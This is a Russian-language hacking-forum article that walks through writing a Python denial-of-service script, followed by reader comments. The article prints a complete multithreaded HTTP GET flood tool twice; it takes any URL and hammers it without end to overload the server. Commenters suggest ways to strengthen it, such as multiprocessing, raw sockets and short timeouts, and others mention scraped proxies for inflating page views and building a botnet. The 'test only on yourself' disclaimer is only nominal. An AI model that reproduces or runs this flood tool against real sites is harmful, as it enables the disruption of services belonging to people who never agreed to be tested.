• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Пишем свой DOS скрипт на Python3

Всем привет! Сегодня я вам покажу, как вы можете написать свой скрипт для DOS атак.
Конечно же слово атака здесь применяется в хорошем смысле. Тестируйте только на себе :)

Для начала разберемся что такое DOS и в чем различие от DDOS.

DoS (аббр. англ. Denial of Service «отказ в обслуживании») — хакерская атака на вычислительную систему с целью довести её до отказа

Если атака выполняется одновременно с большого числа компьютеров, говорят о DDoS-атаке (от Distributed Denial of Service, распределённая атака типа «отказ в обслуживании»). Такая атака проводится в том случае, если требуется вызвать отказ в обслуживании хорошо защищённой крупной компании или правительственной организации.

Думаю вы поняли. Если проще объяснить различие, то получится так: ddos - много атакующих и одна цель. dos - один атакующий и одна цель.

Цель этой статьи - написание скрипта для отсылки большого количества пакетов на удаленную машину с целью довести её до отказа.
Отказ произойдет на том моменте, когда пакетов будет слишком много и компьютер не будет успевать обрабатывать их и отсылать ответ.

Давайте сначала установим зависимости для нашего Python3. Их всего 3: colorama, requests, threading.
Команда, которой вы можете это всё установить под Linux:
Bash:
sudo apt update && sudo apt install python3-pip && pip3 install colorama && pip3 install threading && pip3 install requests

Объясню для чего нужна каждая зависимость.
colorama - библиотека, которая упростит работу с цветами в консоли. Можете обойтись без неё, использую спец. символы консоли, как в .sh скриптах, либо всё сделать одного цвета.
requests - библиотека, которая позволит отправлять post/get запросы на удаленный сервер.
threading - библиотека, которая обеспечит многопоточность программы. Многопоточность увеличит скорость.

Приступим к написанию.

Сначала импортируем наши библиотеки, которые мы установили несколько минут назад.
Python:
import colorama
import threading
import requests

Дальше напишем функцию, которая будет отправлять запросы и контролировать состояние цели:

Python:
def dos(target):
    while True:
        try:
            res = requests.get(target)
            print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE)
        except requests.exceptions.ConnectionError:
            print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!")
В этой функции мы входим в бесконечный цикл (кстати он нам не страшен, так как у нас много потоков и это всё работает постоянно.), так как завершать работу программы
мы будем сочетанием клавиш ctrl+c. Так же вы можете модифицировать функцию, например как только сервер начал не отвечать прекратить работу. Ну это дело вкуса. Всё в ваших руках.

Дальше приступим к главному коду.

Python:
threads = 20

url = input("URL: ")

try:
    threads = int(input("Threads: "))
except ValueError:
    exit("Threads count is incorrect!")

if threads == 0:
    exit("Threads count is incorrect!")

if not url.__contains__("http"):
    exit("URL doesnt contains http or https!")

if not url.__contains__("."):
    exit("Invalid domain")

for i in range(0, threads):
    thr = threading.Thread(target=dos, args=(url,))
    thr.start()
    print(str(i + 1) + " thread started!")

Теперь объясняю. Создаем переменную threads, в которой мы будем хранить количество потоков. Я по умолчанию на 20 поставил. (Это не очень много, чисто поставил для примера). Дальше объявили переменную url, в которую мы запишем домен цели.
Далее мы запрашиваем у пользователя количество потоков, которое он хотел бы использовать. Заметьте мы это делаем в блоке try, если это делать без него, то может выдать исключение, если при преобразовании строки в int попадётся текст.
Дальше мы так же проверяем количество потоков, если их 0, то программа не будет работать. (Ни один поток не запущен - не работает)
Мы проверяем точно ли это ссылка при помощи двух проверок:
  1. Проверка на содержание http/https
  2. Проверка на содержание точки. Если есть точка, то скорее всего после точки идет что-то еще. (Пример: " .com")
Дальше мы создаем в цикле потоки и запускаем их. Ну и так же информируем пользователя о запуске потока под номером i.
Вот собственно и всё.

Снимок экрана в 2019-07-31 19-44-01.png

Python:
import colorama
import threading
import requests


def dos(target):
    while True:
        try:
            res = requests.get(target)
            print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE)
        except requests.exceptions.ConnectionError:
            print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!")


threads = 20

url = input("URL: ")

try:
    threads = int(input("Threads: "))
except ValueError:
    exit("Threads count is incorrect!")

if threads == 0:
    exit("Threads count is incorrect!")

if not url.__contains__("http"):
    exit("URL doesnt contains http or https!")

if not url.__contains__("."):
    exit("Invalid domain")

for i in range(0, threads):
    thr = threading.Thread(target=dos, args=(url,))
    thr.start()
    print(str(i + 1) + " thread started!")



Не судите строго, моя первая статья. Лучше напишите, что не так, что понравилось и еще какую-нибудь критику. Всё прочитаю, всё исправлю!
Всем спасибо за внимание!
 

Caliot

One Level
21.05.2019
6
2
BIT
0
Можно добавить argv или click чтобы быстро запускать и добавить
Код:
#!/usr/bin/env python3
(примерно так ./*.py -t * --thread *) )
 
  • Нравится
Реакции: g00db0y и pp11

pp11

Green Team
16.09.2018
201
82
BIT
0
Можно добавить argv или click чтобы быстро запускать и добавить
Код:
#!/usr/bin/env python3
(примерно так ./*.py -t * --thread *) )
Определено можно. Как я написал в статье:
Всё в ваших руках.
Я всего лишь привел пример моей реализации такого типа ПО. Читатели же могут переделать, модифицировать, как хотят, если считает это нужным.
 
  • Нравится
Реакции: Hose и Caliot

Kotik_Begimotik

Green Team
29.12.2018
36
6
BIT
0
И сколько запросов выдает это чудо?
Как понять сколько? В секунду? В час? Сутки? Десятилетие?

Да и вообще, я так понимаю что данный скрипт был написан в образовательных целях и производительности от него ждать не стоит.
 

pp11

Green Team
16.09.2018
201
82
BIT
0
И сколько запросов выдает это чудо?
Вопрос неправильно построен.
Начнем с того, что многое зависит от:
  1. Ваше интернет соединение. Скорость интернет соединения.
  2. Количество потоков.
  3. Время.
Вы можете поставить 1 поток и за несколько минут наберется определенное количество запросов.
А можете поставить 40 потоков и за несколько минут наберется в 40 раз больше.
 
  • Нравится
Реакции: Caliot

moeimya

Green Team
02.04.2017
36
7
BIT
0
а че не через сокет?

Определено можно. Как я написал в статье:

Я всего лишь привел пример моей реализации такого типа ПО. Читатели же могут переделать, модифицировать, как хотят, если считает это нужным.
как может читатель переделать если ты не объяснил что можно переделать и как? никакой инфы по работе реквеста-_-
 

Calibre

Green Team
22.04.2018
39
28
BIT
0
Стоит добавить:
1) объяснить, что такое библиотека реквест и зачем она;
2) измерить количество отправляемых пакетов в течении нескольких сек-минуты
3) и вообще хорошим тоном считается комментирование каждой строчки кода.
 

snovvcrash

One Level
17.09.2018
4
54
BIT
0
threading (равно как и multiprocessing) — дефолтные модули для питонов, их не нужно ставить через pip. И pip3 install <module1> && pip3 install <module2> && ... режет глаз, install’у можно подавать множественные аргументы как pip3 install <module1> <module2> .... Но это так, просто к слову)
 
  • Нравится
Реакции: pp11 и Calibre

Calibre

Green Team
22.04.2018
39
28
BIT
0
Вам прямиком в Google
Люблю остряков (нет).
Я сам питонист и свои гуглы оставьте себе.
Человек спросил, что не так, что добавить к посту — именно ему это и адресовано.

А вам прямиком за книжку по манере и этике.
 

iBragimoff

Green Team
09.07.2019
83
19
BIT
0
Люблю остряков (нет).
Я сам питонист и свои гуглы оставьте себе.
Человек спросил, что не так, что добавить к посту — именно ему это и адресовано.

А вам прямиком за книжку по манере и этике.
Боюсь спросить, в каком месте вы заметили нарушение этикета?
 

pp11

Green Team
16.09.2018
201
82
BIT
0
а че не через сокет?

как может читатель переделать если ты не объяснил что можно переделать и как? никакой инфы по работе реквеста-_-
Я сделал через реквест. Зачем мне объяснять как делать по другому, если так все работает.

1) объяснить, что такое библиотека реквест и зачем она;
Я вроде написал краткое описание к каждой зависимости. Также описал для чего мы ее будем использовать. Если нужна подробная информация, то для этого действительно лучше подойдёт Google & документация.

2) измерить количество отправляемых пакетов в течении нескольких сек-минуты
Эта информация для всех динамична. Как я писал сверху есть куча нюансов. Таких как скорость интернета, мощность атакующего, количество потоков.

3) и вообще хорошим тоном считается комментирование каждой строчки кода.
Обязательно учту. В этой статье я не посчитал это нужным, так как после всё объяснил. Но если нужно каждую строку объяснять для лучшего понятия - будет сделано.


pip3 install <module1> <module2> .... Но это так, просто к слову)
Я не знал, что можно записать в такой форме, спасибо, учту!
 
J

Jhon

Вопрос от новичка.
Можно ли как то пропустить ожидание ответа от сервера?
Или же если мы оборвем выполнение реквеста то порвется tcp сессия и сервер не выполнит действий по формированию ответа.
Тут тоже вопрос зачем мы в переменную записываем респонс? Мы ведь по факту не используем его. Могу ошибаться в логике работы питона. На сколько ресурсоемка будет процедура присвоения в переменную а потом зачистка этой переменной. Надеюсь меня поправят и подскажут как правильно. Но после того как реквест сформирует объект респонс, лучше его никуда не присваивать и сразу отдать на зачистку из памяти нежели еще какоето время хранить в памяти. особенно если там респонс несколько мегабайт.
 

pp11

Green Team
16.09.2018
201
82
BIT
0
Вопрос от новичка.
Можно ли как то пропустить ожидание ответа от сервера?
Или же если мы оборвем выполнение реквеста то порвется tcp сессия и сервер не выполнит действий по формированию ответа.

Тут тоже вопрос зачем мы в переменную записываем респонс? Мы ведь по факту не используем его. Могу ошибаться в логике работы питона. На сколько ресурсоемка будет процедура присвоения в переменную а потом зачистка этой переменной. Надеюсь меня поправят и подскажут как правильно. Но после того как реквест сформирует объект респонс, лучше его никуда не присваивать и сразу отдать на зачистку из памяти нежели еще какоето время хранить в памяти. особенно если там респонс несколько мегабайт.
Переменная res действительно не нужна. Я забыл ее убрать, во время написания кода. Думал через нее отслеживать доступен ли сервер, а по итогу обошёлся исключением.

Насчет пропуска ответа, думаю можно задать минимальный таймаут. Время выделенное на ответ выйдет, а запрос отправится.
 
Последнее редактирование:
  • Нравится
Реакции: ReQ
29.07.2020
41
6
BIT
0
Цель этой статьи - написание скрипта для отсылки большого количества пакетов на удаленную машину с целью довести её до отказа.
Предоставленным в теме скриптом никто никакой сайт не уложит.
Выложенный скрипт вообще не способен атаковать.
Недостатки скрипта следующие:
Автор использует библиотеку threading. Данная библиотека позволяет отправлять запросы в один поток. Попросту каждый последующий поток запускается после окончания предыдущего.
Для усиления атаки следовало воспользоваться модулем multiprocessing, чтобы увеличить количество запросов.
Но даже и с увеличением запросов, работу скрипта невозможно назвать атакой, потому что даже самый слабенький сервер справится с количеством запросов, отказа в обслуживании не произойдёт.

Данный скрипт можно только использовать для проверки прокси на валидность или накрутки просмотров какой-либо темы на форумах ))

Доработка скрипта в этом случае минимальна:
грабим прокси откуда только возможно, записываем их во временный текстовый файл.
посылаем запросы к жертве не напрямую, как в теме, а через награбленные прокси.
В итоге получим список валидных прокси и увеличение просмотров ))

Зачем в скрипте для DOS атаки раскрашивать вывод в консоль - нИпАнятна )

Тему можно переименовать:
Как накрутить просмотры на сайте.
 
  • Нравится
Реакции: Krang и Lampa

Trixxx

Grey Team
04.04.2020
196
154
BIT
23
Очень прогрессивно, request.get в бесконечном цикле? Интересно, автор тестировал сие чудо? Можно попробовать пару часов на ф5 понажимать, тоже дос атака в своем роде.
 

Vortex

New member
10.10.2023
2
0
BIT
0
Очень прогрессивно, request.get в бесконечном цикле? Интересно, автор тестировал сие чудо? Можно попробовать пару часов на ф5 понажимать, тоже дос атака в своем роде.
А ты я так смотрю ты предполагал что в данной статье будет написано о том как использовать низкоуровневые библиотеки в Python, и с их помощью будет разъесняно о том как организовать Smurf-Attack из кода в 1500 строк? Если ты ожидал этого, то увы соболезную тебе. Это был лишь пример того как в общем это работает. И конечно ты тут не найдешь скриптов которые будут ложить Amazon. Хочешь что-то прогрессивное, иди используй какой-нибудь корректированный ApacheBenchmark стресс тест.
 

Vortex

New member
10.10.2023
2
0
BIT
0
Предоставленным в теме скриптом никто никакой сайт не уложит.
Выложенный скрипт вообще не способен атаковать.
Недостатки скрипта следующие:
Автор использует библиотеку threading. Данная библиотека позволяет отправлять запросы в один поток. Попросту каждый последующий поток запускается после окончания предыдущего.
Для усиления атаки следовало воспользоваться модулем multiprocessing, чтобы увеличить количество запросов.
Но даже и с увеличением запросов, работу скрипта невозможно назвать атакой, потому что даже самый слабенький сервер справится с количеством запросов, отказа в обслуживании не произойдёт.

Данный скрипт можно только использовать для проверки прокси на валидность или накрутки просмотров какой-либо темы на форумах ))

Доработка скрипта в этом случае минимальна:
грабим прокси откуда только возможно, записываем их во временный текстовый файл.
посылаем запросы к жертве не напрямую, как в теме, а через награбленные прокси.
В итоге получим список валидных прокси и увеличение просмотров ))

Зачем в скрипте для DOS атаки раскрашивать вывод в консоль - нИпАнятна )

Тему можно переименовать:
Как накрутить просмотры на сайте.
Ты говоришь что увеличишь количество запросов, при использований Proxy серверов, но по факту это не так, потому что время затраченое на подключение к Proxy, и отправки через него запрос, будет гораздо больше чем если бы ты просто отправлял запросы. Хочешь большое количество запросов, начинай скамить, и собирать Bot-Net. И вообще пиши на C++ чтобы увеличить производительность, это был лишь пример того как это работает, и не более того.
 

Trixxx

Grey Team
04.04.2020
196
154
BIT
23
А ты я так смотрю ты предполагал что в данной статье будет написано о том как использовать низкоуровневые библиотеки в Python, и с их помощью будет разъесняно о том как организовать Smurf-Attack из кода в 1500 строк? Если ты ожидал этого, то увы соболезную тебе. Это был лишь пример того как в общем это работает. И конечно ты тут не найдешь скриптов которые будут ложить Amazon. Хочешь что-то прогрессивное, иди используй какой-нибудь корректированный ApacheBenchmark стресс тест.
Ну ладно, не кипятись ты так) Роутер то наверное задосил свой 😁😁значит всё работает)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!